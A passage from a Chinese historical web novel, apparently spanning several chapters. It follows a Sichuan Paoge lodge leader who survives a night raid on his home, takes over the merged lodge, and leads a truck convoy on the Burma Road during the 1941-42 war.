她告诉周立行,愿安把乐山的厂子经营得挺好,尤其是一家纺织厂生意火爆,让王喜雀放心,她们每年会把应算的分成都单独存好,等周立行来取。
周立行在峨眉待了几日,收好钱财,顺便采购了一些货物,再租车返程。
回到洪雅城关镇后,他立刻去还了钱,还给老大夫送了些礼,便赶回了家。
这一去好多天,赶回家中的周立行总算是放下心,不再为钱财困扰。
他走路出门,租车回来,带的好几个说是装的书的大箱子,实则都是装的法币。
这些年国民政府一直在发行法币,纸币确实比银元轻巧,并且没有铸币时候的缺斤短两,更为轻便实用。
几年来法币都能自由兑换成银元,于是民众也渐渐放下戒备,开始大量使用法币。
除开这些,五嬢也给准备了一些金银,让周立行找个合适的时机,可以去给婆娘打点金镯子银簪子之类的。
周立行把这些东西带回家,当夜和王喜雀、阿涅一起做了清点。
王喜雀分了一块大金子给阿涅当以后的老婆本。
这个聪慧且忠诚的少年乐开了花,连忙自个儿缝了个小钱袋,把金子装进去,晚上睡觉都戴在身上。
接下来的几天,周立行和王喜雀开始商量如何使用这笔钱。
这乱世,存银行钱庄有可能挨轰炸之后取不出来,王喜雀有存在成都和乐山银行钱庄的私房钱,只能当化作乌有。
此时他们若是大张旗鼓购房买地,总会有人好奇钱从哪里来,而财露白必遭觊。
思来想去,王喜雀和周立行一致决定,还是暂时守拙,少量买一点点土地,然后把剩下的钱藏在家中隐秘的地方,一切等孩子安稳降生再做打算。
比如,可以在县城里买个铺子,她可以一边带孩子,一边雇人做工,做点买卖生意。
*
一个月后的一个晚上,院外寒草凝珠,一行八人来到了周立行的院子外。
邻居的狗在吠叫,周立行在厨房烧水,听到院子里的响动,他顿时警觉起来。
然后他听到咣当一声,是木盆摔落的声音。
周立行不再行走江湖,自然没有随身带枪。手枪被放在了卧室的木箱子里,只有匕首还时常挂在腰间。
匕首太短,只适合近身。
周立行环视一圈,厨房里有一把长的砍柴刀,他拿起刀,他踏出厨房门,院坝里有人打着火把,夜风吹得火光摇曳不明,影子在来人门脸上的跃动。
地上躺了三个不知死活的人,应是没有发出任何声音就被打倒了。
王喜鹊靠着墙,阿涅挡在王喜雀身前,手里的短刀已经沾了血,眼神凶狠。
还站着的那几个人神色不一,有的惊恐,有的怔忪,有的凶恶,有的无奈。
“邢五爷。”
周立行不丁不八地站着,微微俯身,是蓄势待发的搏命姿态。
邢五爷抱着双臂,一脸不耐烦地站在院子门口,他没有翻墙。
翻墙的都被阿涅给揍翻了。
“有门不敲,有路不走,呵,光耀堂的这几个青钩子,还真当咱们忠义堂的八爷是豆腐捏的,被逑死。阿涅,上去砍死他们算了!”
邢五爷开口就是一通责骂,丝毫不给那些人面子。
周立行眉头一皱,“你怎么跟光耀堂的人在一起?”
邢五爷却没有回答,反而对周立行指指点点,很是生气,“从峨眉开始,有人跟了你一路,你都没发现!!”
那还站着的几个人里,站出来个领头的,黑脸络腮胡,脸上几条刀疤,不苟言笑的样子显得颇为狰狞凶狠,他指着被阿涅当着的王喜雀。
“忠义堂周八爷,这个,是木茶商的姨太太,王喜雀吧。”
周立行挑眉,“这是我的妻,王梨花,你们光耀堂得称呼她八嬢。”
王喜雀嘴唇微微发着抖,她知道被逮住了是什么下场,但是她的眼神非常坚定,跟着回答,“什么喜鹊麻雀,我看你是狗找不到窝,出来乱说!”
周立行和邢五爷对视,邢五爷是认识王喜雀的,自然知道他们夫妻俩在睁眼说瞎话。
“五爷这趟,接的是什么差?”
周立行谨慎地回答,“你们这是来找我叙旧,还是替人寻仇?”
他不太信邢五爷会害自己,不过……事无万一,还是多个心眼的好。
邢五爷却看到了王喜雀的肚子,他瞪大眼,看周立行,又看王喜雀,再看周立行:
“有了?”
周立行皱眉。
邢五爷的视线落到王喜雀的肚子,他冷不丁地问,“怀的男孩女孩?”
周立行觉得邢五爷简直是走火入魔, “我不在意是男是女。”
邢五爷目不转睛地盯着王喜雀的肚子,眼神炙热得仿佛要把肚子烤穿一般,他满脸不可置信,“我感觉肯定是儿子,啧,她这个不下蛋的老母鸡,竟然还能给你生儿子?……”
周立行握着刀,已经不太想顾及邢五爷是不是老辈子了,这口无遮拦地说的什么话,简直该打嘴巴子!
“我做好事,救人,救过孩子,我有功德。”
周立行一字一顿地回答,“巡分堂那年,放河灯,我救了他们,孩子也是我救了还给亲生父母的。”
“行善积德,我一直在做。”
黑脸男被无视许久,十分不爽,大声吼道:“这就是王喜雀,我看过照片!你们别想骗我!今天你们都得跟我们回……”
唰!一道寒芒忽闪!
没有谁看清楚,但黑脸男话还没说完,一把飞来的匕首就那么又快又准地插入了他的心脏,连带的冲击力然他退了好几步。
变故突生,邢五爷暗叫糟糕,他还没来得及转头,周立行已经站在他的身后,用他的身躯挡着前面收到刺激要开枪的人,并将砍刀横在了他的脖子上!
“住手!!!”邢五爷冲自己人大吼!
同时,咚地一声,黑脸男倒地,他不可置信地摸着深没到只剩刀柄,张开嘴发出嗬嗬的声音,血从七窍流出。
阿涅掷出匕首,竟是一招杀人,他在混乱中冷静地开口,“哥,把他们全杀了不?”
这下,地上躺了四个人,三个昏迷,一个归西。
剩下的三人被邢五爷的大吼压住了开枪的冲动,一看黑脸男当场没气,三人皆是脊背一寒。
其中一个尖头蝠耳的男人谨慎地开口,声音有些发抖,“五爷!我们可是合并的堂口,你……”
邢五爷一个头两个大,他回喷道,“麻批!你们要是真的听我的,就该白天领着厚礼上门,恭恭敬敬给八爷磕头!现在晓得吓了?”
然后邢五爷这才尴尬地用身体撞了撞身后的周立行,“行善,放下刀吧,我们是来请你回去,当忠义堂堂主的。”
周立行先回答阿涅,“带梨花回屋,把枪拿出来。”
然后,周立行才在邢五爷耳边轻声问,“五爷,你觉得我该信你不?”
邢五爷冷汗直下,他这一生杀过不少人,但绝大部分都是他认为该杀或者没办法不得不杀的,他当上五爷多年,已经很久没有直面过生死危机。
现在凌冽的杀气伴着刀锋刺在自己脖子上,他这才惊觉,也许自己真的开始衰老。
一个袍哥只要开始怕死,要么金盆洗手,要么穷途末路。
“就是怕你不信,他们才回成都请我来。我都要金盆洗手回家养老了,因为你,才出来接这个破差事……”
邢五爷也是无奈了,“咱们能不能坐下来说?我也知道大半夜的来不好,但光耀堂这几个狗崽子不听话,我拉不住,便由着他们来吃教训。”
周立行等阿涅拿来上膛的枪后,才放开邢五爷。
而此时,小院外,已经站了七八个拿刀枪的村民。
“俊秀兄弟,家里来客人了?”
“是山上客,还是田里客?”
邢五爷行走江湖大半生,黑话那是一听一个准,赶紧地抱拳,“诸位兄弟误会,是我手下的人没礼貌,已经被……俊秀兄弟教育了,我等冒昧,不会惹事。”
那些同宗同姓的村民才不管邢五爷说什么,只看周立行。
周立行亮出手里的枪,回答到,“以前做生意时候的过节,他们已经清楚了,暂时不会惹事。”
村民们点点头,这才散去。
周立行对剩下三人招招手,指了指院外:
“你们既然是深夜前来,想必也查过这个村子全姓周,更知道这县城属于两边管。我只要喊得几声,你们就是插了翅膀也跑不出这文武山。”
邢五爷跟着帮腔,“山上客是埋在山上,田里客是埋在田里,我知道。”
周立行冷静地说着残忍的话 ,“谁威胁到我的妻儿,我必然会先下手为强。我若是想守在暗处一个个的杀,你们堂口爷们的全家老小,保证不会有一个活口。我有没有这个本事,你清楚。”
剩下那三人只能点头。
阿涅把地上三个昏迷的搬到柴房去放着,随手搭了点干谷草在他们身上,死了的那个用棕垫先裹着,然后跟着去了堂屋。
周立行已经给邢五爷等四人泡了茶,他自己大喇喇往主位上一座,“说吧,怎么回事。”
为了避免再次发生误会,邢五爷先从衣兜里掏出一张纸,展开给周立行看。
“这是木茶商的委托书,他委托光耀堂捉拿你和王喜雀,要的是人头。”
周立行笑了下,不说话。
然后邢五爷又从衣兜里掏出另外一张纸,上面赫然有四川省政府的章,还盖着国民政府军事委员会和蒋中正的印。原来此时四川省主席已由蒋中正自领,全面接管川蜀之地。
周立行有点摸不着头脑,不知这与他有何干系。
“八爷,按省政府政令,堂口可以不用解散了,但需合并。上面应是故意的,都挑着让那些有矛盾的堂口摁头合并。”
“忠义堂和光耀堂明面上,是合并了。不过内部,咱们还是各管各的,毕竟……舵把子的人选,大家争得厉害,谁也不服谁。
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两相对比,木茶商的委托书显得十分可笑。
邢五爷直接把木茶商的委托书放在烛火上点燃,让它烧成灰烬。
周立行垂眸听着,等邢五爷把那委托书烧了,才开口,“木茶商在哪?”
上回就想斩草除根,时间太紧没来得及。
邢五爷听出了周立行的意思,他琢磨了一下,干脆把木茶商那边的事情也讲清楚。
“他木茶商,算个狗屁。”
“不过,也要感谢他给光耀堂送了这些信息,否则我们还找不到你。”
“原本木茶商以为,你们是在乐山大轰炸中丧生了。后来,他因事去五通桥那边的时候,路上偶遇木铜铃,找人跟了木铜铃一段时间,就理清了你和刘五嬢等人的关系……”
木茶商是个多疑敏感的人,他发现木铜铃后并没有声张,不管别人怎么想,木茶商自然有了自己的想法。
他自觉被深深地愚弄了,自然忍不下这口气。
百足之虫死而不僵,何况木茶商的大本营在云南,外面这些地方的资产损失对他来说伤筋动骨却不伤根本。
他得知方结义已经战死,回头一打听,听说周行善是为了躲避中统的调查离开的,心中便没了防备,又听说光耀堂和忠义堂不对付,便用了重金,请冯显贵帮忙查这件事。
冯显贵本是巴不得,他心里一直对周立行当初打生死场的事情耿耿于怀,此刻正是有理有据报复的时候。
然而他派人去西康和云南寻了一年,也没找到周立行的人影。
再后来,便是国民政府四川行辕又出了新的指令,暂不强制解散尚存的堂口,但要合并减少,并且听政府号令。
光耀堂和忠义堂之间的矛盾众人皆知,于是便被摁头和忠义堂合并。
“冯显贵想要当舵把子,咱们忠义堂的不认,几番争斗下来,他拿出了这份委托,咱们才退让一步,各管各的。”
“现在上面又要大规模征兵,要求各大堂口出人出物,听说往云南走。我们必须要选定一个舵把子出来带队出川,大家……都选了你。”
“我们在峨眉那边蹲了好几个月,才蹲到你。至于为什么这个时候才来找你,找你的方式又这么不地道,还不是因为合并了光耀堂,他们恶燥得很,做啥子事情都只会扯后腿。”
周立行突然笑了,他算是听明白了。
“所以,现在没人敢当舵把子了?”
邢五爷苦着脸不说话。
周立行哪怕见了省政府的令,也没有完全相信邢五爷。
“还有一种可能,你们在这里动不了手,想把我骗回去杀。”
邢五爷见状,只好从怀里再掏出一封信,嘟哝道,“还得是冯争鸣了解你……我都自愧不如……喏,冯争鸣写给你的信。”
把信递给周立行后,邢五爷还嘟嘟囔囔了一句,“当初你走的时候,都没给我说实话……”
周立行接过信,打开一看,果然是冯争鸣的字迹。
【弟,见信安。
此前疑你是□□之事,查无实据,且24军中有人为你作保,身份无碍,已可归堂。
去年日本轰炸滇越铁路,法兰西被迫停止中越运货。日侵越南泰国,滇越线全面中断。滇缅公路被迫封闭三个月后,日军多次轰炸功果、昌淦桥,阻碍公路复运。
国际援华通道仅余滇缅公路一线,运输线处境艰难,司机和车辆耗损严重;且我国后门受胁,危在旦夕。
一寸山河一寸血,我已奉命入缅。
国民政府正在组建远征军,需各大堂口鼎立协助,征召青壮。
弟,覆巢之下无完卵,国家危在旦夕,望你速归。
兄,争鸣亲笔。】
周立行的手捏着信,指尖泛白。
王喜雀此时进了堂屋,她走到周立行身边坐下,拿过信来看完。
“此时如是不回,你日后能否不悔?”
王喜雀半是温柔半是伤悲,她是大姐姐,永远都能看透弟娃。
周立行握住王喜雀的手,嘴唇抖动,说不出话来。
是的,他是想去的,冯争鸣这般恳求,他也是应该去的。
可是他也确实放心不下王喜雀,放心不下她肚中的孩儿。
他孤单飘零许久,好不容易才有现在这个家,他失去良多,好不容易才些许拥有。
“去吧,别担心,我就一直住在村里,村里有大夫有稳婆,他们会照顾好我的。”
王喜雀把信塞回了周立行手里。
是的,周立行此刻若是不回去,日后……定会后悔。
看今晚阿涅的表现,已经十五岁多的阿涅有了足够的力量,可以留着这里保护王喜雀。
而且,洪雅的这个山村,也是可以让王喜雀安稳度日的。
日本人让他失去了黑老鸹,失去了方结义……此去若是冯争鸣不归,日后日本人也有可能来到这个村落,如果日本人的飞机在这里扔下炸弹,一切都将成为血泥和废墟。
国家国家,有家便是国,有国才有家。
周立行闭上眼睛,眼眶湿润,再度睁开时候,眼神已经变得坚定。
“好,那我回去看看。”
王喜雀神色肃然,火光在她的眸中闪动,她温和地祝福:
“咱们的孩子会平安降生,你也会平安归来。”
夜间星子闪烁,忽来一阵急雨。
王喜雀一夜未眠,和周立行相拥无言。
周立行的手一直放在她的肚子上,隔着血肉,仿佛能牵着孩子的手。
世事难预料,谁也不知道这一别,之后又是什么光景,他们只能期望着,期望命运能垂怜行善积德之人。
71.成都+昆明
那黑脸男死了,同来的人说他是个孤儿,街边上讨食的时候被光耀堂捡回去养大的,为人凶蛮执拗,做事冲动暴躁,常年为冯显贵干一些脏活私活,才养成如此目中无人的脾气。
此人无亲无友,死在这里也是命数,同行之人看在大家是一个堂口的地方,只提出请周立行找个地方,他们把人下葬即可。
阿涅想要和周立行一起走,周立行没有同意。
周立行单独将阿涅拉到院子的梨树旁,那梨树苗还没有阿涅高。
阿涅很想跟着周立行走,他听说日本人快要打往云南,忧虑得很。
此时,周立行才理解到,方结义出川之前找他的几番谈话,是怎样一种心情。
他此刻,心中有愧,却执意阻拦阿涅。
“阿涅,留在这里,我把喜雀姐还有我的孩子交给你了……你是孩子的干爹,你得替我看着孩子出生,等我回来,好吗?”
就像当初方结义把妻儿托付给他一样,他也把妻儿托付给阿涅。
不仅仅是想留下一层保护,更多的是,不想阿涅去参与危险之中。
方结义能带着兄弟们去战场赴死,周立行现在也能把脑袋扛在脖子上回去接舵把子的位置,之后必定也是要带着兄弟们去云南守边境的。
他看了冯争鸣的信,已经料得到未来。
可是如同方结义不想让他去战场一般,他也不想让阿涅去危险之地。
“阿涅,答应我,你答应我……我们是结拜兄弟,我是哥哥,你得听我的话……”
周立行几乎是恳求阿涅。
阿涅眼中的泪水大颗大颗地落下,他扭开头,仿佛千斤重担压在肩上,缓缓地点了下去。
如同当时周立行不甘不愿,却还是守诺留在后方一般。
*
处理好一切,周立行又去找老大夫给了许多法币,还同村里的保长家也打好了关系,这才跟着邢五爷一行人,一路快赶,回到成都的时候,成都刚经历完一场轰炸。
川西平原上曾经繁华无比的成都,在多次的轰炸后,盛景不存,百业凋敝。
民众们能逃难的逃难,能投亲的投亲,剩下在成都的,除了走不开的,便是没处去的。
周立行回到忠义堂,这里已经修缮一番,虽然不如当年的忠义堂那么气派,看起来也还算大气。
颇为不伦不类的是,门口挂着三块牌子,忠义堂和光耀堂的横牌一左一右,上面还有一个新刻出来没多久的【忠耀堂】。
周立行嗤了一声,整容肃色,抬腿迈过门槛,走进了忠义堂。
这一番归来,堂中物是人非。
冯显贵不愿带队出川,自退一步,在忠耀堂里当了二爷。
陈三爷还是三爷,白旗五爷是当初的丁五爷,黑旗五爷是邢五爷,唐浩子依旧是六爷,姜九因高密被忠义堂除名,光耀堂的郑九爷、罗十爷补缺。
然而因为忠义堂在外分堂多,光耀堂说不上什么话。所以名义上合堂,实际上忠义堂的事冯显贵根本插不来手。
周立行这一回来,立即被众人推上了舵把子的位置,那从人人争抢到无人敢坐的主位,终于迎来了真正的龙头大爷。
冯显贵站在周立行身边,看不出来喜怒,说的话也是半阴半阳。
“光耀堂在外没有那么多分堂,只有一些办事的点位,咱们说话没什么分量。前些时日昆明分堂自行联络了你们忠义堂的其余分堂,一致推选你为舵把子呢。”
“□□把子,你是众望所归!”
陈三爷这回心也平了气也顺了,再也不觉得后浪扎眼了。
毕竟他一把年纪的,确实不想去战场送死,对于谁当舵把子,他都能心服口服了。
周立行站在新塑的关圣像下,恭恭敬敬地上了一炷香,为黑老鸹,为方结义,为即将再次出川的兄弟姊妹。
“把忠耀堂的牌子撤了,只挂忠义堂的牌子。”
周立行开口的第一句话,就让冯显贵黑了脸。
冯显贵脸色刚变,丁五爷便立即开口,“□□把子,你刚回堂口,这是要给我们光耀堂下马威吗?”
周立行坐上主位,轻蔑地回答,“对。”
丁五爷气结,拍着桌子站起来。
没等丁五爷说话,周立行已经高声开口,“以下犯上,忤逆大爷,红棍五十!”
周立行话音刚落,邢五爷那边一招手,一群忠义堂的纪纲扑上来,结结实实地把丁五爷悃了,摁在杀猪凳上便是一通棍子。
在啪啪啪的棍子响和丁五爷的闷哼中,周立行开口了:
“关圣在上,既是你们迎我回来当舵把子的。”
“我周立行,走之前是忠义堂的八爷,回来是忠义堂的舵把子。你光耀堂若是不服,哪里来的,哪里去。”
“要是留下来,你们就得守我忠义堂的规矩,我说什么就是什么。”
“否则,你冯显贵带着你们自己的人出川。”
冯显贵这才发现,他印象中那个上门打生死场的青少年,已经不再青涩。
他已经在磨砺和沉寂中成长,如同冯争鸣一样,已成气候,不容小觑。
眼珠一转,冯显贵倒也能屈能伸,点头道:
“□□把子说得对,丁五冲撞龙头大爷,该打!”
郑九爷见冯显贵如此说了,便跟着附和,“丁五爷以前跟着冯二爷,时间久了,脑子不过弯,冲撞了舵把子,是该责罚的!”
周立行等那棍子打完,才继续说话:
“忠义堂的责任,我担了。诸位,我不管你们有什么心思,打的什么算盘。国难当头,日本人随时有可能从缅甸那边打过来,方舵把子未竟之事,我□□把子会接着上。”
“我回来,一是服从上令,征集青壮,随队出川;二是肃清堂规,定好各排骨干人员。”
“各位当初进哥老会当袍哥的时候,都是对着关圣盟过誓的,此时若有贪生怕死之辈想要退堂,杀。”
周立行知道,现在的情况已经和当时方结义带队出川不一样了。
那个时候,方结义带的是身家清己事明的袍哥精锐,然而打仗这么多年,精锐青壮已经消耗在了战场上。
此时各地的征兵,已经开始抽丁,即以保甲制为基础,从开始一保一丁,到三丁抽一、五丁抽二,已经开始出现抽丁税,有钱人家为了不出丁,是可以交钱让穷苦人家多出人的。
一切,都在走向混乱。兵员的素质越来越差,战斗力也会越来越低。
这种时候,平日里打架斗殴逞强好胜的袍哥们,作为以前川军的后备力量,若是不敢上战场打敌人,那真的是羞死先人!
周立行以丁五之事立威,再下了这道“退堂者杀”的令,接下来他要做的事情,便再无阻碍。
这一次,周立行真正站到了方结义当年的位置,才知道协调各方事务有多么的麻烦。
陈三爷年纪不小,不想出川,见周立行各类实务不熟,也怕冯显贵在背后捣鬼,倒也尽心尽力地辅助。
邢五爷、唐浩子等人自然也是鼎力相助,但光耀堂的那些人,也不知道是能力不足还是心思不纯,做事一团混乱,简直就是拖后腿的猪。
莲妹儿给石娃子生了个女儿,已经能开口喊妈了;谷娃子也在乐山成了家,婆娘也怀着娃儿。然而这俩人听到周立行回堂口的消息后,都安顿好了家人,毫不犹豫地回堂口,继续跟随在了周立行身边。
新舵把子上位,自然也是通告了各地分堂。
很快,昆明分堂的沐明实带着一队全女性的人员,搭着川滇线的汽车来到成都,招呼都不打一声,便直接入驻总堂。
沐明实是这样跟周立行说的:
“这些姊妹大多是从云南女子中等职业学院毕业的,也有其他地方毕业的,都是读过书的人才。”
“她们大多在我的商队里工作过,对人员后勤保障协调及各类账务计算都十分熟悉。放在外面,个个都是大掌柜级别的人才。”
“她们中的每一个人,都有父母、兄弟、姐妹或亲友死在日本飞机轰炸滇缅线的路上、车里、山崖下。”
“我千里迢迢把人带来,是为抗日救国出力的。□□把子,人,你要不要?”
周立行用人本就不分男女,在见识到她们心算、珠算以及可以迅速安排上千人行进路线、食宿医药等方面的本事后,立即拍板让她们介入堂口各类事物。
总堂有多少钱,分堂有多少钱,如何从不同的县里募集物资,哪里粮多,哪里药材多,枪支弹药如何采买,衣物鞋袜的准备,不同堂口间有没有什么矛盾,多少人还有烟瘾,每个人家庭有无什么困难需要临时解决,上千人如何组队才能不出杂症,哪些人是需要送进部队进行新兵训练,哪些人是负责运输,哪些人有什么特产……
如此各类事务,有了这群细心能干的女子一起帮忙,就连陈三爷都觉得轻松太多,并佩服沐明实真的是有几把刷子。
在这繁忙到几乎无空歇的日子里,周立行没有去见冯争鸣。
兵马未动,粮草先行。
1941年10月,周立行带队一千多人,到达昆明开始整训。
此时昆明已经变成了一座巨大的战时之都,军队不断地聚集
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,街道上人潮汹涌,车队拥挤,各处物资汇聚,街道上常有联大学生慷慨地演讲,也有时不时响起的防空警报。
那窒息般的临战压迫感,让懦弱者担忧颤抖,让勇敢者热血沸腾。
周立行刚到昆明报道,第二天便遇到了特意赶来的林玉道。
林玉道二话不说,邀请已经是舵把子的周立行及其堂口下的车队,整编成一个运输大队,进入西南运输总处。
“我们自己的汽车和驾驶人员是采取军事运输部队的组织形式,汽车运输大队按三三制编队,每个大队辖三个中队,每个中队有三个小队,每个小队有三个班,每班5辆汽车;每个大队一个补充中队。”
“每个大队需要配备指挥官、驾驶兵(含跟车学习司机)、机械兵、杂役、总务、会计、出纳、政训员等四百人左右。”
“现在我们要出去十万远征军,以及需要组建更多的车队去缅甸抢运战争物资。”
“行善,当初我给你五十个运输名额,但实际上,昆明分堂手里已经搞出了三百多辆车。”
“之后西南运输总处里涉滇缅运输的部分会独立出来,我需要你提供一个运输队过来,抢运货物!”
周立行既是来到这里,自然不会拒绝。他答应了,沐明实竟然和几名女子一起加入车队,说是要协助周立行。
为此,周立行不得不跟沐明实敞开心扉谈了一谈。
“沐小姐,我已经成婚,婆娘怀孕在老家,等我回去。”
沐明实做势伸手要打周立行,手掌呼出来的掌风扇起了周立行额前的头发。
“□□把子,你把我沐明实看成了什么人?我是那种耽于情爱的人吗?”
沐明实咬牙切齿,真想揍周立行一顿。
“往大了说,国难当头,地无分东南西北,人不分男女老幼,皆有抗战守土之责。”
“往小了说,我沐明真的商队,此时不跟着出力,日后还想去哪里分羹?我是要做事业的女人,怎么能放过这种机会?”
“男人跟着你做事,是重情重义两肋插刀;我是女人,跟你做事,就是想嫁给你?”
沐明实哼哼着,满脸嫌弃,“我之前确实看中过你,长得俊,功夫好,有担当。可我沐明实也是人中龙凤,你既然有婆娘了,我便去挑选其他的男儿呗。现在愿意跟着你,是共赴国难。你莫要看低了我们女人。”
周立行听完,诚恳地向沐明实行礼道歉,“是我狭隘了。
这番谈话后,周立行一视同仁地将麾下所有女性也号召起来,纵然女性体力上稍逊一筹,但这些女性都受过教育,脑力却比这些没上过学的男性好,更聪明、更全面、更细致、更有耐性。
因滇缅公路的路况异常危险,长年累月都有司机翻下山崖,车毁人亡,而司机又是技术工,尤其是开山路险路的老司机,不是三月五月能培养出来的。
周立行既是参加过修路的,又是会开车的,还天然就是个领头的舵把子,手底下既有管纪律的也有搞财务的,甚至带回来的女袍哥(沐明实的学姐学妹们)里还有懂医护急救的、会发电报的!
所以周立行的入职变得异常简单,他点头的第二天,林玉道便把手续给他办完了。他没有入伍,但大家都统一穿上了西南运输总处的军服。
林玉道顺利把人抢到了手后,也是大松一口气,这简直是打着灯笼也找不到的天生队伍啊!谁见了不眼馋?!他不搞快点,这队人马指不定就直接被征召入伍了。
1941年11月,军事委员会运输统制局中缅运输总局在昆明成立,对外称中缅运输公司,接管了西南运输处在滇缅国际运输线上的业务,并设立了通讯管理事务所,建立运输调度专用无线电台15座,配备国内外附属单位,专职调度运输事宜。
这个新成立的管理机构比西南运输处拥有更多的事权,在昆明、楚雄、下关、保山、遮放设5个总站。
车队改分区管理制为段站分线管理制,车队分为直属和普通两种。直属大队归总局调度,担任临时紧急运输任务,并强调贯彻整队行车制;普通大队隶属于总站,规定行驶区域。
普通大队中,多了许多从南洋那边回来帮助国家的司机,大家亲切地称呼他们为南洋机工。
同月,周立行所带领的车队,开始没日没夜的运输。
一开始让他在规定区域内行驶,因周立行所带车队意外率低、送达率高,被上级看在眼中,很快调他车队直接进入缅甸,帮助抢运军用物资。
时间仿佛上了发条的螺旋,飞速地旋转,所有的忙碌紧张都被转成了眩晕的线条,无法顾及。
72.滇缅公路
12月8日,日本偷袭珍珠港。12月,中英双方在重庆正式签署了《中英共同防御滇缅路协定》。
同月,第一批远征军开赴云南边境,却因英军高估自己、不愿让中国军队深入自己的殖民地而拖延阻挠中国远征军入缅。
预定入缅的第一批远征军只好停留在中缅边境。
周立行和冯争鸣在这里短暂地相遇。
冯争鸣看着周立行身上跟自己军阶一样的军装,他先是愣神了片刻,然后上前给周立行一个大大的拥抱。
周立行当然知道冯争鸣误会了什么,他无奈地扯开冯争鸣,“别闹,不算参军,我是普通运输大队的队长。”
冯争鸣脸一黑,“普通运输大队怎么从缅甸过来?谁给你军服穿?战场上穿军服是要负责的!”
周立行摊手,“没办法,总局太信任我了,能者多劳。衣服是林玉道发的,说大队长都发了。运输队可以因此少受刁难。”
冯争鸣指着周立行,没管到底是怎么一回事,中缅运输总局确实也是准军事机构,他笑了,“行,能者多劳。”
周立行没说,其实已经有很多民间商队都开始帮忙参与军用物资运送。
兄弟二人并没有多说话,周立行奉命带领车队一起整队行动,并没有太多歇息的时间。
“珍重!”
“保重!”
1942年1月,英军一路溃败,无法阻击日军,这才慌忙火急地请中国军队入缅参战。
周立行带领车队刚好再次从缅甸运输货物归来,刚到边境线,便遇到了一队军人。
一本手册突然发到周立行手里,来的军人立正行礼后只说一句:
“据令,现已转入战时运输,请各大队自行组织学习手册!”
说完便转身离去,去等候其他车队。
周立行一看,是中缅运输总局发到每位大队长手里的运输手册,还有一张通知单。
通知单告知,周立行车队的目的地是缅甸腊戍。他们既要在沿途站点卸下军用物资,也要将腊戍的物资运回国内。
手册不同于日常的内容,这里面着重宣讲了战时运输注意事项,对战运时的鸣笛、开灯、停驻都做了详细规定;并讲解了简单的军事知识,又有防空、防炮、防毒事项,还有野外生存的一些知识。
周立行立马明白,这是大军要进攻缅甸了。
周立行只花了很短的时间就熟悉了手册内容,立即同沐明实商议。
此时的沐明真已经成为周立行最得力的助手,是队伍里名符其实的副队长,二人商议一阵后,立即将所有车队人员召集起来。
凛风瑟瑟,旌旗飘扬,周立行站上车顶,将通知
“各位弟兄姊妹,我们已经进入战时状态。”
“这些时日以来的运输,我们已经牺牲了一部分兄弟。想必你们都很清楚,战场上不是平日里的舞刀弄枪,不是个人勇武就能战胜敌人的飞机大炮。”
“咱们车队接受的是军事化管理,命令高于一切!纪律就是生死!咱们既然来了,就不是怂包。现在莫老开口说堂口如何了,我们是中国人,努力抗战也不单为堂口争光,是为中国生存。”
“虽然我们不像当年方舵把子那样直接进战场,然而,战场上所有人的补给,都要依靠我们,我们跟不上,我们就会害死他们!我们也相当于进战场了,兄弟姊妹们,雄起!”
车队之人都在下面,谷娃子已经当上了小队长,平时看起来笨憨憨的石娃子也以跟在队伍里领人做搬工,他们和大家一起在下面仰视看着周立行,看着他们的舵把子,说着令人热血沸腾的话语。
周立行随即让沐明实将手册内容教给中队长和女队员,再由她们拣选精要向队伍宣传。
沐明实是云南本地人,自幼跟着商队东奔西走,对滇西和缅甸这些丛林地区的危险认识很深,她不仅让女队员们将手册抄写好,还立即通过官方渠道申领、私商渠道购买了许多药品。
同时,沐明实还通过昆明分堂的哥哥沐明真,准备了许多中草药包,以及为车队的人想方设法购置了布鞋、手套、绑腿、面罩等物品,还让女队员们编写野山生存须知——在她看来,这份手册一看就编写匆忙,撰写之人对野外毒瘴的认知不够深。
她甚至跟周立行做好了,万一哪天在运输途中被轰炸,不得不遁入深山丛林之后如何存活的预案。
*
2月,中国远征军第一批部队十万余人,陆续进入缅甸。
这是当时中国最精锐的部队,其中有中国第一个机械化军第五军,坦克车、拖炮车、弹药车、救护车、通信车、辎重车、步兵运输车浩浩荡荡,从缅甸敢来运兵的红头大卡车跟随犹如钢铁巨龙,出保山、过怒江、走龙陵、越芒市,直奔国门畹町去缅甸。
部队出征,军容整肃,各族民众围拢到他们付出骨肉生命的道路上,为远征军送行。
有的头人按习俗在路口摆香案,垒祭台,杀牲献祭。
有的部族为出征的男女士兵献米酒,敬山茶,祝愿他们胜利归来。
那时,漫山芸香草开花了,传说这是武侯诸葛亮的遗言,此草开花之期,吾将重来矣。极少开花的芸香草,仿佛是为了欢迎远征军一般。
同时,中缅运输总局开启了战时的大抢运,高原之夜,千山万壑之间,险道之上,数千辆汽车在嘶吼呐喊。
周立行的车队跟随进入缅甸,抢运军火。
汽车像一只只蚂蚁,曾经那些各怀心思在这条路上发横财、赚外快的各路□□白道,都加入了抢运的队伍。
日本人若是打赢,这些武器、炸弹、石油等军用物资,不运走,就会留给日本人攻打中国。
这是一条周立行记不得跑过多少回的熟路,他也已然半夜在山坳里翻过车,被轰炸的时候狼狈地多往路边坑洞,超重运输时候命悬一线的狼狈……汽油味、黑油味、刹车油味、臭汗和血肉压烂的混合味,让他永生难忘。
军人、商队、劳工、南洋华侨们一起在轰炸中转运货物,人员的死伤如同风吹落树叶一般,轻易,随时凋零。
如同当初修建这条道路的时候一般,通行于这条道路,死亡依旧如影随形。
周立行在车队上,还远远地和冯争鸣打过一个照面,他们没有时间说话,仿佛风吹过山岗上偶然相聚的两片树叶,瞬间随着各自的方向走远。
3月,一开始,远征军捷报频传。
然而,到别人的土地上打仗,怎么可能得到百分百的支持?
缅甸人憎恨殖民的英国人,认为远征军是来帮助英国人的,他们怎么可能真正帮助远征军?
茂密的热带丛林并不适合机械化作战,春季已经超过四十度的温度更是让士兵们不适,地形不熟,情报不灵,缅甸人以为日本人是帮助他们独立的,四处下毒搞破坏,英军也揣着自己的傲慢和鄙夷,这样的战场太多艰难。
周立行带领的车队,更加忙碌地运输着武器、药品,有时候返程回云南,也会运输一些残疾的伤兵。
他的车队上,有总局配置的电台,电台由沐明实保管,两位女队员负责发报和通译。
3月8日,日军攻占缅甸仰光。
此时的滇缅路是唯一的国际交通线,汽车、汽油、轮胎、兵工器材等军用物资都从仰光启运入国内。日军攻占仰光后,滇缅路就被切断了。
一旦滇缅路不通,中国当时的战备物资,只够使用三个月……
成千上万的车队开始将缅甸的物资分段撤退到腊戍和畹町,这两个地方物资堆积如山,仓库堆满了,就沿路边堆放着,等待着之后的车队再将物资抢运回国。
从腊戍、畹町到保山、下关沿途成千上万抢运物资的汽车往来不绝。
